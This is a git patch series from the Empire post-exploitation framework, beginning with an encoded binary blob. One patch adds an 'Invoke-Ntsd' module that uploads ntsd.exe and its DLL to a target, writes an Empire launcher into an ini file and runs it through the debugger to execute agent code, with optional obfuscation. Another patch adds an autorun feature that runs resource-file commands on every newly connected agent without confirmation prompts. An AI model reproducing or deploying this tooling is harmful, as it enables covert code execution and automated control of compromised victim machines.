zoAtn7Za@5C_;qT*RJV)gQ%{u|e`p(<QNC&TR<`r>rtq~tJut{O*g3>o``Xdrf+S5X
z*zZ?r``s~&xYV&+@}FV91w#aO0vPZ?wgLxYzpd%0t$;-TdBfj-%X<H|A!6ITTap$1
z=FJ#ja{u6ihsS>&W9D6a{*JMiIq&7gyo(;iG6BC`oz_*~)g9bdbs4c@OXd_o@0-+&
znz;v`r)lvT+H&zId$z|JTl2-gzIi*XYyUszK27cR?5WqL4drG&r!zi?FX&W$zqPVt
z1b5^6+=!Lau3Ox8^(k3Y`PjmBK%b&TqsNWaf5hqkar*M*f~dv6PZa$6VZpUEJ8DeV
zENHxB^t<*RpUAO0#mj$_P$S(!+x6)in!o1JWzEEq8{a4AwR3B)lk{8ii*fOvS-*7i
z)=r@e1g<ak+%<FEf6U7Fx2@gdh1RpquD$1|Sh*pHy{lWBZGSeb-Of7SbChq>dyS(<
z_<CyVy&2X!@9$afZw?H<u-*pEMi|x`_M8$VW)j<K#!Xx<NX$rR|1I;oAvinezkPU-
zWH7t9<A#x0ImI4ves8sm21x(cSp9D}BmO#+g{%$Mq#vEa5e>dmyR&%Kt@E?Tc(S$)
zko_<@Qr~Fv`9pJ;l@7RKxN%A3)Y1v;GhTcn@1O6?aegpi|5m?Wy58@`T2!<@{*AH{
zOBY{0IJ8Vxqas7{px&p$oza_DJbIcj{c1w_lT~jt2c~dpf9z-8Gv?#FKOe>aJfKa3
z)`OS>#$LZJouM1Mx^#oXx@lI&$FzMmb&6BROeNpxfmUam_h+p~&a@tG8LL<EEM|C9
zimuVUBf3FL>#vt~s`FAVJU+<s`%Q=I4$RjZG53m3tm#X^>HYE2DU(^9blbPRbhCZt
zAH(*B`t7h9`1F0sqO)Vh*Zdl@Dx%22<I20)hYOA8Ozrz><J!J<nzK4jJvF?0WRIkJ
zy_5a-UvSy+`2F+wyB=oe%LbKt9sj}1u=h;8VPlv4Fv-=W{ec}jN<61k{5GN~VYX?)
z`VNB7nh}QIcdl69)3nm1*0Og0Tgln}SE_6hJbL$&m<LRHHvU!a-JgFwJv91YVjr1i
zyO%Rf53fxs@8i3B+w|dS8)gRWjM`w7d$`c8-Z1)8x=qCP&-cbuEWzfT2Y>Ch*f4}W
z+-mE@Wu=cyAMYwT9lSH%SL2FsfOpZVlAQR>JF<R~cfPS=v5~yzK%0E+sI19LdL7Ps
zm3-RtT3z?ir+#_qUfsZwMyKh`uL!Sr67?)^&3Ws-O>K`)o>Jx6Wkc16f$N<HjO#e#
zl+mV7)=9lP2$FiYgIiXRxcHwqUjD*S+u|P1O58_AX^b0LhhweZ$~nx1E4IaXtY_U;
z(E4l#G6qy%$hF28a8~&5P8v(Rb_sfXI;d%0_^YOE)p&TmT1e<y<AE~EJfY_|XBEGg
zpWDzgf&VwhWMnN&^sKnnw^KMzxk)U_F7dYHw!C_%opkepgcPk~16;B%KiT!+(6H~v
zN}3KXe|*t=|I2}0@7TMUnd%LDdVI&+3rDHzU0x1b-LCO_-s?vZs}}PIFEdrX8?i9v
z<{iD>)?0@Dw&FYa*(FqbfQ8PqJ|6d089Ye%UOV7)`-otP{mSW^?Bg~SztPavFz=Th
zAWZZdeqHd?_R=cfEnS|q>pgU5b-P!Ko`;6romXSMUh%s7h2yd*Q(k!WNgcm#WAe6p
z*4*|3I$dl!mU7s<WT*erch`J|<=$7iQX3bTA2q&qJEG$O&kxU@gv>kfX~^&zbL)f$
zKW|%|9l-wM#U)LraX&c5`x!nA2)Mb?DUJK*lticHr|lOxZ%8uB5hSs@w6u(-brM@2
zN!qjuru@@x`B1<XFI+1H^cNVnFw3#lYmR8KpnlB?reV#46W>NK#AYx?GXh)NNq<ql
z>fCLAy!)x7)PL6G_wDt!8y8qCo6%ZD;2b3?V#vAhfFE(-XVcCi!;|~o`>a~<#xP)d
zR+!k!<V~;Yq!T4dr^`dSnD*<mG;V*tpWbmsmQDx=j9$U(TC?xaDl<LKu=(w_&!4i>
zT{mgJA?q=3mg%AXx7|kN^!T*F$?ek<`@7#YrLk<D?E3Ym^Yhzl-J0^|7$vq+-l*oc
zk?el)x+=AYn{3dIwNa-uD%%!>_TuM1d+>g~Zt+Fm?LT;LS+n8UuNv>1oxeM_N1nZ*
zPx9iTn->!YK6%sk!ImMvA3r`rT<_|z_D<N^D;7g<Yx$k}V@*n8<Ji03&q@B(^-Yb_
z>%P<8EH<9GH?vO?d+o@`;*}N;b%z{L@SQVi-gR7kWxmUVO|Lr+dMHRTO={_rT$Xi`
zX)MyBnq^HUlS~7UG#M&m%_AZVTqI#hIb1e+nP5uG#h6ec&g{QAp+q|@T3yTKFE$uc
z8Bj7{lk1;%4^G*3#(G+h^#Sh&9zLILHTB12b6!|hl3o`$Z#QB1tW*!5HQdM1!)LwL
zjj0Dt7W}ukNG$}tF+75+vqy`I1b+Q5CYbodb=!KD$!?I1U8`B9K_vRWWR~edw!k`Z
zOvgo!$DOqc-2IcdZ-C`1?d(g}I$8dHUZdo3tV{OU7i*_Dc7N2aw%^20>wbuh=l5UR
z**>wma&q?6-#<OltZ1B{vF*y%Agz7acmFqs!t>i#-uC@8s=Bvm^o07xS7x0@PUk#n
z|F*WOVDOe%?TZi8|MBFeUHzNWqvx_q0<L`K$xBx{%wMRvEa=y<kJcNW*uJRZ_XV0m
zuf<oa8h+9(^>Ck#Ct?-LE;Ox=nea$ZdP}oipWyRB9V~wOY2o5EmHVfLu$`4X4_SV{
zcN1$??9<C$^Vmk?7L=7~PRT7;;QVs%9a+fM3FbTe-YuW8e%v(UNu|r5-8?zq;m+_v
z$Gx|D-RE5Us2*xV?^vC_<)dsp%M{+Yy}|m!-l@ilAN)S%KREKfDn957U&fO^1Lp4U
zN%=jB_1g8;RAy%L<W<ps-K-K(J1fBuE5YFZ`dOtfXv=V`S9^@uSf12sY8O3^_R_|u
zPp+O6X*OT3vvxW5(my@@*FJ^f%PUe|9q?Lo;J~pw>E1gjRr(`Kb63~%7W>2tbyEe|
z+xWg6J9clsp<|yN6L*Fkw=d~7z{%in_)(9~3jJR*J>qqL+V8z{sOO3|94E`wE6-Hi
z7(3k4c!o*uNuQ=ncOJE+;r<nCi;8*Ad<!;Qk8zrrFtKx`!Oe!x?>hgcAxMuZ+ZXw1
zfWEn(gXh?Y>5pz`-qTK)EcC(Wyvlv8+nhO4ldT~#NI5Bdzh7g)*reoer(m0hqwY<x
z-;(NgWX+YA7oCG&Sw+q$nP>T<<DWGn_N7}I9M^I<>6~$?UC%KwrNXRktarL5fqy3T
zE;(5ce6K16Px&!0ReowSr9ak#HdCChge6E!{co{T@WiU@RNodm^|xKQEfz}vkHBCX
zcmb@35P!fRRdf)E{?je$zvULFZ5!e}d)lsJ4?pQp9_v>XHH;5?CaSt{+;4P2&dhm{
z;(eDLR_x5~{{Fo*=~1Uk%RY(LY1c?sp6@>{`S5)0hXXA0g_g#9HjavN_n6T^>+Z!%
zN7B0gu<G2dg`;+E)vh|5dTmChRYO;v@9p&b$!ELF30J%MyT9AsZ@|@*{S%!Um+!Px
z$WB}CaCCiG@9JLODb)8=*Mr@Tjhi|lwsG3tUVOW|{<%4;zu#<;aPI2%^^ZBbf-i4x
zUr}C>-dlI#LapabZC@l94)QR}Jv4UmAGtTHm3op{*HYZB8tgq$Q}|Lj-AZFh;EA36
zCa*K=8X$hyxqbKOA!kf%6Q-wmZkiq%9KZ6a;KJ%2YFmYyIP0F^uTS<Z)8XH=Lx0B~
z`-RKkFW%zT^X6CIjX$%jX5*BpVHbz5T0Z&u`Cp8W{bwy4^cD_P%sT|Atk7U98{7XX
z3->o@%LIwP5);SgCaxAFt`H<HYxa{2;0O{E1;f?uVK%Fy_1}CH@gC(qFeExSZlH^|
z&%h9AXplTYHXuwEDR6GSoGq~HZo}`^YOQ4e)-I~olwxB-dPOW*gGkmKl9i+~Y5>36
zS7wBh1b0Gb*{cbo`_4VqF(tm#`*P1eb$%^MTGMFP)UW@V)rOBB9lmgQWyM3gf?J8D
zx4Tn^E)9y_`gq~&)w3S6ue`3SI_K5BOVGw6lgv8TFUg-eMm$aXq0_MLD;otVohlrh
zbFa7EVcPd`&W7+MJy)KUWj@{D=JLj;sEj8FU-<b_FMecn(B*qtS8v2p{lgc{96sh&
zu7l*%kf2DdJ3c07@~#CPIs8DenO8ky?doguEyk3jjU1ExOGL$<9wR%q4KKKUyL`b#
z_n5-n#rtF3f;)Z4y|yuT(er!*(c0kM+r!f|Pr5FeW9(FOyqoFOx$oI#R>y^B4tMjY
z==f^ex`luC9Oa%K)!||8!kLpV`po_@<=3m1ZVitc^!u<azT3yTO)o1nT77A0yPH2x
z``%{B#~~>fZ_88GEj}@6LducDciJplvev3@=gSLyF7Nt2{6ls}E-TM`THFQC(Yx<z
zj9)XSp?0k2+gTc;Q%+Rry<YlagwDk_Gas6bkMG%g@S)S&mP8eHdz5n1&35Xt>{CD5
z2K><7d26QhRL`0broGa;S_R%1k|s>+*O7NUXxOT-z_G8cx&54#;QX>f;;ir1Rr?rs
z_U>lCdTsYmTcbV>o#Gb{KJRrjVEZ4#-F$XeKfa|GG`!#S75&c-ne?6W2<z+~2HHo)
zuRCn+KZgD5^x2m>UA|eqYN^)TUO$L7YfgW1<-|R+Uw)Dww@&JCLXgzq2>mR#<ezP>
z@ksZ@*u2$9KP&MDmV4={-2*0EYj_@6|8ZBtz~-kD9j<jxE`MLGKtDEn__kLb+VzQ3
zj}5Bc(>CEj%9v^6J#2Q*Dvoyjf9!VXF~gx}Q1+6^C5;yve#?v3s=m=HE#S)Op!<>1
z?)i6veFFL!xUcSY^uBvs&$3xdv-Hx7r#5W(kjv}e`18>5=9^DyogY*wy}~&aUhB4Q
zXnXe`m0K?SIHp^}x`n%rT+~(Ae;o1d)~mO>w`jdG==AxS$F80Fo^6#wbq_CZKe9v5
z-y$4t<Z&MkbnkN4Y!LS#Z)!u;-O*(er<ItVYO_+PlM<iPbK~NG;d6UC5Au+XA6>C6
z@<ZaG4^QWhGygo3KRhsGmQ$qmi{Ib6olQS|^hcAxn%c5uf>RgshR<*7m=dZGeOjIM
z>fq4Z<5GWAoRtsXG<ABg@XRH%UK_6@Jy|0xF&%nM-z;$Jh9si_f+VAU&5wp04xTHG
zIwP%PbIXzEN+V2+7(o>{e|@e@Vhz*OQ!9)C9xantmUv$8gIk>$bcZ3GJW-d!!YKI5
zhf*$o;*-92<9}OO5x1amu0!oFVb3D3T5Wtc<I>3CYf?nKWxd#%qaQlV+A`AE5O<gs
zH^SfnL+mFBv_L<B&3c=axHmg-_dk8@&4>|V7b{zVi_pqOG(!9juD!`hYI_Vr(jPD+
zov0p?>Lm7~hotPU?j`>dhosgv*8g95R~`;k+lL3qI@!Zm!fPGm%!meAn^I(rELn!h
zTGkXzVuma;uSj;KELn=IDKTDDWLG3h_O+yBOSXImueR&`>W}YxulMWv{yWckuJinH
zuJfGx{@uU(K1WtwZr!T6K}o^kp7kN%`?rv1Q9yW;Jo9}a&)+(<HVO032<a_8DA}8Z
zq$n`C!WK8b<nI)H(#wdsJ)IsB5VZW(*HK%_y86+m&BL?zRqQ2?zvnnAwhggMod*`f
z*G$J2?rQ^>6#!_aX-w!vqy3B>IwdIDB8}dtoEN776VZUQ1JI`v^O}UF3SkV=6mxLK
zR5KWPk>AV4A<~*)RL~N2<Vw}!49jOWY_8%pu*G0}S-;K7!74F6VFy-Em>?-n`vg(n
zw!m`LdzbQilQTKxBn=%kgJ(?FwyQY!&)Zj0#iISDo@%eUjwaR@WX<5<^oaM}y4xe~
zh0@Bs^5M;YozS#zTn1g5IoETd{3b<}09}+%(+at=4sB_*^BM)Uo{-KKAsqvE>Cg`e
zX**WYf`qs{yZ^lJL7r+^NAn;T;~yCW{vQcx@&+MYcWL}WoRnrP)BrkEGZ3#z@Ssvo
zN=p%RD|(aBIFI<Fg?i}LrzH~?ZlLI4wSAp)|NQuSpYkVJ*F}aG$!|{@nb1la1fW@$
z9~=#9oWrn^&Niy4sbB4};9Rp<wBnSD7e1!#HKoB^n^)mq<3F?ag1IX1Ou{*>NJB^-
ziivYx<{ZJU>sIl}ktfX`>TwV^Z2&DSw6EnYReEfMnFRUX>b61m8%Qm&RpUIFPxnT{
zWy@@>6JMIBy`FAPu)iF(=4|WVTdl<qDLSMu$*tvqO*${=^5|Mx>b@oa3$f0ZeKK5H
z2d^#it)M!i=W5dFV}oy&Ux(#x(+Dgn#$Ode2^5Qro|s&itMJ2`i7?@IE0~;3^|-yA
z#6;X#YLm&*kl49HGZA0?v?=rH)P=zJgGwHB{gz(wLbNvB`TG2B<<o<Z{&57&%_zkM
zJ58TgAF~c+FZ6l(*_?FqzC~!rq{~q#o2+T*47lsr#5Y$GM8S_=<{`q36bg@b*FudG
za3QCaXvgBECoT=h?q-#kuaq$o6I`gx(d`y5DY*4AwlGs8wXTI*U1uP85uTXFVh^;H
zc_Fp?vFGO#NHRQ61oO;_b9>PH;`BW_Qd+Bxhn@ONs-E=$m8*?oI?K=sOTE`g{M;xR
za*HYT?kQ-pzFhYdofvO>k)IqtZE3gs%QowXKCjTjtRUb#1LfKWTcATTp|Sxw%-@5~
zKl>(Mj|8k2mkJ=x$jPotA7CV4-EfQ8vp)PaK_7hU{y0LAQy5uPCEHm+9VZ;lD?Kpj
zAw?Fy(IS1=cyOw0Ww=T+EG*@<RpIPjo+B~UQyv^Dun<n?5=W7gB9R??Mj}UVbKSv2
z7+LT5m^Y!{>uIMXNDblE*{2(#9A0;rQ&NXAZdZCsQpc26hO9Zc=|Elg2lL0?Ej5$D
zxO|>Bol#t3$040$17Mh2>7I_V8~FE$rEKR=3*T&t{gX{{-pCNHxK`EdVuopBNmc_?
ze3yy4L5F9Y`L!8t<V1jE>4!qrnRcRuOye6XZAa_+yR`U5cqspphrMVJCK<1OBU@cp
z<?v(w&KSpM)EVTMoiEh(yNIQacOQzN(VzL`Hkh9<SFnXoo8s;ld4yL*S6CQjn2{g*
zyK>-?8t?PCbKj-|{t~YK!*l>hFhHm6dOF~<){6LVsT}`i?eBHmpZONH#N99-sYw}i
z%pW~@ugGROed7E%Ar3N*S6rRMCEA5!nD1-bK7VDFsYf+icPSG(cA}G-Y@`*Ocjt-~
zN5-pEFNUn>B}naE`CW8Z**c!-tM?r(CAeSPH{sfG0D10gy*jGe@U{6;oGp5+$eCI=
zNv|Q5W;l$!m~NL@A>665N)5v>3``!%SNc7ZOXLCUlg(w<hUK`OpP<<bCb0A&F1=6r
zrOqXmc{6^@6rw?z0@gLHN9KldJx_JoVYHn{_8g3?QG(6w<98J4rj7C*I^r~+r<<L*
zTSbLEjSgR|bMj4EL-<(2lbN^gt`F2?z(UdYdzhp$7@6(ZDcW*x`?eq;DFIYx!KSIz
zMxi~N@(b4msUq}X;r*rIO2q-G`;DK`m?_2uInnES8per2%pO=vCOiZP6*mcFfbigN
zVcb7W9)Q30*hn5|0LZ=4`{fU!q!DNo3LyzdY%+DBZ<)HlQMWUmSUUk7@FNspZUOuX
z0rvZDFC{gktqiIP2yroeF8TnZysU!x=M#H@%@cqZp!lW21e>B#034wIa{*9zTQ3p8
z)Ey7Yp9h?Co3muAiuGCfudby;fE~ooPKk|rHJKg&+wTxcs-44_l&xc$6oIc1ax1!%
zG%#5R{Xi}Jv_az3Qu4yAk2__?#VQskuS@Vyyh4i2^=M;Y$BC@Ihp?9>+pxCd_A~cg
zhEf%rOb3-?JC5pda?PAsFw`D5z`^To#;owZnZ4*$EXf)(c&ux;fd|ZJgo=`R#h-ak
z>AT-P>h!;pYIrpAy!W^&cW|fB+IhoEc1ZU5TG~*DBWIEVu^;o>a-(-!eB>s+C}#@1
zTpxa#e`1l*hdtz7&|-NJs-V8Ml?G?lRaTa!(BzI>i^@yH$nddCDPHA_K2GmGQh!)q
z$xnXAG6^pjZ+8qIOJw6_&@ZW<-tpQqf{k7RsUuq;`{6Vu`?fCbhMLS9&NvB@MmrX?
zD}d@YW&g&`BmJ}GA1H8r!)Cq~xB@670N7`319Z+nzfmuM?-eU<TmG<MM9XY0;`%~8
z**lU?S}(CmW7I97P2$9~(g90=(Dl^<l#B>M9YCl72#)|l);9LP+OnWz4G{1*{r-pU
z5oiK(y~@}e7O$AN6kk^xkVWzyB4UYOKj$FAth+EYlXJS(wA_PL+pizg;t1ts!@W#<
z>!Yf`4iz-Sj`H3QDqLxT)Z16TEx$eWJOQz0tYWW5h!#Jkl>he4p~`{VqoWFIPZAv}
z#$)6PjfqrhJkm{4;s(Zg&#O^H@wDhh$C3MchV&Y4^y;TH!!^gx9&~>kh~8^LZ)m5S
z9T2AFbT4=nuW{v)0(_=N{mvq>l_gY+`l@6=KStE@GP%!qbgBDL?h=k@nkm%E9!FlS
zJdcl5h8WggI{b>xDc>%G==cKOcULDamGF*!$U-U5)C!KiAimsYq(TM9^+ni6z;FoI
iIpTRd%a!h(Lk2QT3<3NP<gk(-L`NBlER&9gL;eNbfmAsF

literal 0
HcmV?d00001

diff --git a/lib/modules/powershell/code_execution/invoke_ntsd.py b/lib/modules/powershell/code_execution/invoke_ntsd.py
new file mode 100644
index 0000000..e386325
--- /dev/null
+++ b/lib/modules/powershell/code_execution/invoke_ntsd.py
@@ -0,0 +1,155 @@
+from lib.common import helpers
+import base64
+
+class Module:
+
+    def __init__(self, mainMenu, params=[]):
+
+        self.info = {
+            'Name': 'Invoke-Ntsd',
+
+            'Author': ['james fitts'],
+
+            'Description': ("Use NT Symbolic Debugger to execute Empire launcher code"),
+
+            'Background' : True,
+
+            'OutputExtension' : None,
+            
+            'NeedsAdmin' : False,
+
+            'OpsecSafe' : False,
+            
+            'Language' : 'powershell',
+
+            'MinLanguageVersion' : '2',
+            
+            'Comments': [""]
+        }
+
+        # any options needed by the module, settable during runtime
+        self.options = {
+            # format:
+            #   value_name : {description, required, default_value}
+            'Agent' : {
+                'Description'   :   'Agent to run module on.',
+                'Required'      :   True,
+                'Value'         :   ''
+            },
+            'UploadPath'  : {
+                'Description'   :   'Path to drop dll (C:\Users\Administrator\Desktop).',
+                'Required'      :   False,
+                'Value'         :   ''
+            },
+            'Listener' : {
+                'Description'   :   'Listener to use.',
+                'Required'      :   True,
+                'Value'         :   ''
+            },
+            'UserAgent' : {
+                'Description'   :   'User-agent string to use for the staging request (default, none, or other).',
+                'Required'      :   False,
+                'Value'         :   'default'
+            },
+            'Proxy' : {
+                'Description'   :   'Proxy to use for request (default, none, or other).',
+                'Required'      :   False,
+                'Value'         :   'default'
+            },
+						'BinPath' : {
+								'Description'		:		'Binary to set NTSD to debug.',
+								'Required'			:		True,
+								'Value'					:		"C:\\Windows\\System32\\calc.exe"
+						},
+            'ProxyCreds' : {
+                'Description'   :   'Proxy credentials ([domain\]username:password) to use for request (default, none, or other).',
+                'Required'      :   False,
+                'Value'         :   'default'
+            }
+        }
+
+        # save off a copy of the mainMenu object to access external functionality
+        #   like listeners/agent handlers/etc.
+        self.mainMenu = mainMenu
+
+        for param in params:
+            # parameter format is [Name, Value]
+            option, value = param
+            if option in self.options:
+                self.options[option]['Value'] = value
+
+
+    def generate(self, obfuscate=False, obfuscationCommand=""):
+
+				listenerName = self.options['Listener']['Value']
+				uploadPath = self.options['UploadPath']['Value'].strip()
+				bin = self.options['BinPath']['Value']
+				ntsd_exe_upload_path = uploadPath + "\\" + "ntsd.exe"
+				ntsd_dll_upload_path = uploadPath + "\\" + "ntsdexts.dll"
+
+        # staging options
+				userAgent = self.options['UserAgent']['Value']
+				proxy = self.options['Proxy']['Value']
+				proxyCreds = self.options['ProxyCreds']['Value']
+
+				ntsd_exe = self.mainMenu.installPath + "data/module_source/code_execution/ntsd.exe"
+				ntsd_dll = self.mainMenu.installPath + "data/module_source/code_execution/ntsdexts.dll"
+
+        # read in the common module source code
+				moduleSource = self.mainMenu.installPath + "data/module_source/code_execution/Invoke-Ntsd.ps1"
+				if obfuscate:
+					helpers.obfuscate_module(moduleSource=moduleSource, obfuscationCommand=obfuscationCommand)
+					moduleSource = moduleSource.replace("module_source", "obfuscated_module_source")
+				try:
+					f = open(moduleSource, 'r')
+				except:
+					print helpers.color("[!] Could not read module source path at: " + str(moduleSource))
+					return ""
+
+				moduleCode = f.read()
+				f.close()
+
+				script = moduleCode
+				scriptEnd = ""
+				if not self.mainMenu.listeners.is_listener_valid(listenerName):
+					# not a valid listener, return nothing for the script
+					print helpers.color("[!] Invalid listener: %s" %(listenerName))
+					return ''
+				else:
+
+					l = self.mainMenu.stagers.stagers['multi/launcher']
+					l.options['Listener']['Value'] = self.options['Listener']['Value']
+					l.options['UserAgent']['Value'] = self.options['UserAgent']['Value']
+					l.options['Proxy']['Value'] = self.options['Proxy']['Value']
+					l.options['ProxyCreds']['Value'] = self.options['ProxyCreds']['Value']
+					launcher = l.generate()
+
+					if launcher == '':
+						print helpers.color('[!] Error in launcher generation.')
+						return ''
+					else:
+						launcherCode = launcher.split(' ')[-1]
+
+						with open(ntsd_exe, 'rb') as bin_data:
+							ntsd_exe_data = bin_data.read()
+
+						with open(ntsd_dll, 'rb') as bin_data:
+							ntsd_dll_data = bin_data.read()
+
+						exec_write = "Write-Ini %s \"%s\"" % (uploadPath, launcher)
+						code_exec = "%s\\ntsd.exe -cf %s\\ntsd.ini %s" % (uploadPath, uploadPath, bin)
+						ntsd_exe_upload = self.mainMenu.stagers.generate_upload(ntsd_exe_data, ntsd_exe_upload_path)
+						ntsd_dll_upload = self.mainMenu.stagers.generate_upload(ntsd_dll_data, ntsd_dll_upload_path)
+
+						script += "\r\n"
+						script += ntsd_exe_upload
+						script += ntsd_dll_upload
+						script += "\r\n"
+						script += exec_write
+						script += "\r\n"
+						# this is to make sure everything was uploaded properly
+						script += "Start-Sleep -s 5"
+						script += "\r\n"
+						script += code_exec
+
+						return script

From 69dbc89422056203b940327b40034103e8158454 Mon Sep 17 00:00:00 2001
From: Carrie Roberts <@OrOneEqualsOne>
Date: Mon, 16 Oct 2017 09:55:48 -0600
Subject: [PATCH 15/50] add autorun feature to agents menu to run all commands
 in a resource file on incoming agents

---
 empire               |  1 +
 lib/common/agents.py | 16 ++++++++-
 lib/common/empire.py | 81 ++++++++++++++++++++++++++++++--------------
 3 files changed, 72 insertions(+), 26 deletions(-)

diff --git a/empire b/empire
index 3d5d6dd..65a59d1 100755
--- a/empire
+++ b/empire
@@ -1239,6 +1239,7 @@ if __name__ == '__main__':
     generalGroup = parser.add_argument_group('General Options')
     generalGroup.add_argument('--debug', nargs='?', const='1', help='Debug level for output (default of 1, 2 for msg display).')
     generalGroup.add_argument('-v', '--version', action='store_true', help='Display current Empire version.')
+    generalGroup.add_argument('-r','--resource', nargs=1, help='Run the Empire commands in the specified resource file after startup.')
 
     cliGroup = parser.add_argument_group('CLI Payload Options')
     cliGroup.add_argument('-l', '--listener', nargs='?', const="list", help='Display listener options. Displays all listeners if nothing is specified.')
diff --git a/lib/common/agents.py b/lib/common/agents.py
index 505a858..351d162 100644
--- a/lib/common/agents.py
+++ b/lib/common/agents.py
@@ -1343,6 +1343,20 @@ class Agents:
             if autorun and autorun[0] != '' and autorun[1] != '':
                 self.add_agent_task_db(sessionID, autorun[0], autorun[1])
 
+	    if len(self.mainMenu.autoRuns) > 0:
+		autorunCmds = ["interact %s" % sessionID]
+		autorunCmds.extend(self.mainMenu.autoRuns)
+		autorunCmds.extend(["lastautoruncmd"])
+		self.mainMenu.resourceQueue.extend(autorunCmds)
+		try:
+		    #this will cause the cmdloop() to start processing the autoruns
+		    self.mainMenu.do_agents("kickit")
+		except Exception as e:
+		    if e.message == "endautorun":
+			pass
+		    else:
+		        raise e
+
             return "STAGE2: %s" % (sessionID)
 
         else:
@@ -1399,7 +1413,6 @@ class Agents:
 
         TODO: does this need self.lock?
         """
-
         if sessionID not in self.agents:
             dispatcher.send("[!] handle_agent_request(): sessionID %s not present" % (sessionID), sender='Agents')
             return None
@@ -1417,6 +1430,7 @@ class Agents:
             # build tasking packets for everything we have
             for tasking in taskings:
                 task_name, task_data, res_id = tasking
+
                 all_task_packets += packets.build_task_packet(task_name, task_data, res_id)
 
             # get the session key for the agent
diff --git a/lib/common/empire.py b/lib/common/empire.py
index b2b5090..1ff1ccb 100644
--- a/lib/common/empire.py
+++ b/lib/common/empire.py
@@ -93,12 +93,13 @@ class MainMenu(cmd.Cmd):
         self.stagers = stagers.Stagers(self, args=args)
         self.modules = modules.Modules(self, args=args)
         self.listeners = listeners.Listeners(self, args=args)
+        self.resourceQueue = []
+	self.autoRuns = []
+
         self.handle_args()
 
         dispatcher.send('[*] Empire starting up...', sender="Empire")
 
-        self.resourceQueue = []
-
         # print the loading menu
         messages.loading()
 
@@ -138,6 +139,14 @@ class MainMenu(cmd.Cmd):
         Handle any passed arguments.
         """
 
+	if self.args.resource:
+	    resourceFile = self.args.resource[0]
+	    if os.path.isfile(resourceFile):
+	    	self.do_resource(resourceFile)
+	    else:
+		print helpers.color("\n[!] The resource file specified does not exist '%s'\n" % (resourceFile))
+		time.sleep(5)
+
         if self.args.listener or self.args.stager:
             # if we're displaying listeners/stagers or generating a stager
             if self.args.listener:
@@ -267,7 +276,7 @@ class MainMenu(cmd.Cmd):
                     print "       " + helpers.color(str(num_listeners), "green") + " listeners currently active\n"
                     print "       " + helpers.color(str(num_agents), "green") + " agents currently active\n\n"
 
-		    if self.resourceQueue and len(self.resourceQueue) > 0:
+		    if len(self.resourceQueue) > 0:
 	    		self.cmdqueue.append(self.resourceQueue.pop(0))
 
                     cmd.Cmd.cmdloop(self)
@@ -377,10 +386,9 @@ class MainMenu(cmd.Cmd):
     ###################################################
 
     def postcmd(self, stop, line):
-	if self.resourceQueue and len(self.resourceQueue) > 0:
-	    self.cmdqueue.append(self.resourceQueue.pop(0))
-
-	
+	if len(self.resourceQueue) > 0:
+	    nextcmd = self.resourceQueue.pop(0)
+	    self.cmdqueue.append(nextcmd)
 
     def default(self, line):
         "Default handler."
@@ -388,7 +396,6 @@ class MainMenu(cmd.Cmd):
 
     def do_resource(self, arg):
 	"Read and execute a list of Empire commands from a file."
-	self.resourceQueue = []
 	with open(arg) as f:
 	    self.resourceQueue.extend(f.read().splitlines())
 
@@ -437,7 +444,6 @@ class MainMenu(cmd.Cmd):
                     stager_menu.cmdloop()
             else:
                 print helpers.color("[!] Error in MainMenu's do_userstager()")
-
         except Exception as e:
             raise e
 
@@ -904,18 +910,22 @@ class SubMenu(cmd.Cmd):
         self.mainMenu = mainMenu
 
     def cmdloop(self):
-	if self.mainMenu.resourceQueue and len(self.mainMenu.resourceQueue) > 0:
+	if len(self.mainMenu.resourceQueue) > 0:
 	    self.cmdqueue.append(self.mainMenu.resourceQueue.pop(0))
 	cmd.Cmd.cmdloop(self)
 
     def emptyline(self):
         pass
 
+
     def postcmd(self, stop, line):
 	if line == "back":
 	    return True
-	if self.mainMenu.resourceQueue and len(self.mainMenu.resourceQueue) > 0:
-	    self.cmdqueue.append(self.mainMenu.resourceQueue.pop(0))
+	if len(self.mainMenu.resourceQueue) > 0:
+	    nextcmd = self.mainMenu.resourceQueue.pop(0)
+	    if nextcmd == "lastautoruncmd":
+	        raise Exception("endautorun")
+	    self.cmdqueue.append(nextcmd)
 
     def do_back(self, line):
 	"Go back a menu."
@@ -935,7 +945,6 @@ class SubMenu(cmd.Cmd):
 
     def do_resource(self, arg):
 	"Read and execute a list of Empire commands from a file."
-	self.mainMenu.resourceQueue = []
 	with open(arg) as f:
 	    self.mainMenu.resourceQueue.extend(f.read().splitlines())
 
@@ -979,6 +988,21 @@ class AgentsMenu(SubMenu):
         "Go back to the main menu."
         raise NavMain()
 
+    def do_autorun(self, arg):
+	"Read and execute a list of Empire commands from a file and execute on each new agent. Or clear any autorun setting with \"autorun clear\" and show current autorun settings with \"autorun show\""	
+	if arg == "show":
+	    print self.mainMenu.autoRuns
+	elif arg == "clear":
+	    self.mainMenu.autoRuns = []
+	else:
+	    self.mainMenu.autoRuns = []
+	    with open(arg) as f:
+	        cmds = f.read().splitlines()
+	    #don't prompt for user confirmation when running autorun commands
+	    noPromptCmds = [cmd + " noprompt" if cmd == "execute" else cmd for cmd in cmds]
+	    self.mainMenu.autoRuns.extend(noPromptCmds)
+
+
     def do_list(self, line):
         "Lists all active agents (or listeners)."
 
@@ -1447,14 +1471,15 @@ class AgentMenu(SubMenu):
 
         agentLanguage = mainMenu.agents.get_language_db(sessionID)
 
-        if agentLanguage.lower() == 'powershell':
-            agent_menu = PowerShellAgentMenu(mainMenu, sessionID)
-            agent_menu.cmdloop()
-        elif agentLanguage.lower() == 'python':
-            agent_menu = PythonAgentMenu(mainMenu, sessionID)
-            agent_menu.cmdloop()
-        else:
-            print helpers.color("[!] Agent language %s not recognized." % (agentLanguage))
+	if agentLanguage.lower() == 'powershell':
+	    agent_menu = PowerShellAgentMenu(mainMenu, sessionID)
+	    agent_menu.cmdloop()
+	elif agentLanguage.lower() == 'python':
+	    agent_menu = PythonAgentMenu(mainMenu, sessionID)
+	    agent_menu.cmdloop()
+	else:
+	    print helpers.color("[!] Agent language %s not recognized." % (agentLanguage))
+
 
 class PowerShellAgentMenu(SubMenu):
     """
@@ -2617,6 +2642,7 @@ class PythonAgentMenu(SubMenu):
         # Strip asterisks added by MainMenu.complete_usemodule()
         module = "python/%s" %(line.strip().rstrip("*"))
 
+
         if module not in self.mainMenu.modules.modules:
             print helpers.color("[!] Error: invalid module")
         else:
@@ -3085,7 +3111,7 @@ class ModuleMenu(SubMenu):
         except Exception as e:
             print helpers.color("[!] ModuleMenu() init error: %s" % (e))
 
-    def validate_options(self):
+    def validate_options(self, prompt):
         "Ensure all required module options are completed."
 
         # ensure all 'Required=True' options are filled in
@@ -3119,8 +3145,9 @@ class ModuleMenu(SubMenu):
                         print helpers.color("[!] Error: module needs to run in an elevated context.")
                         return False
 
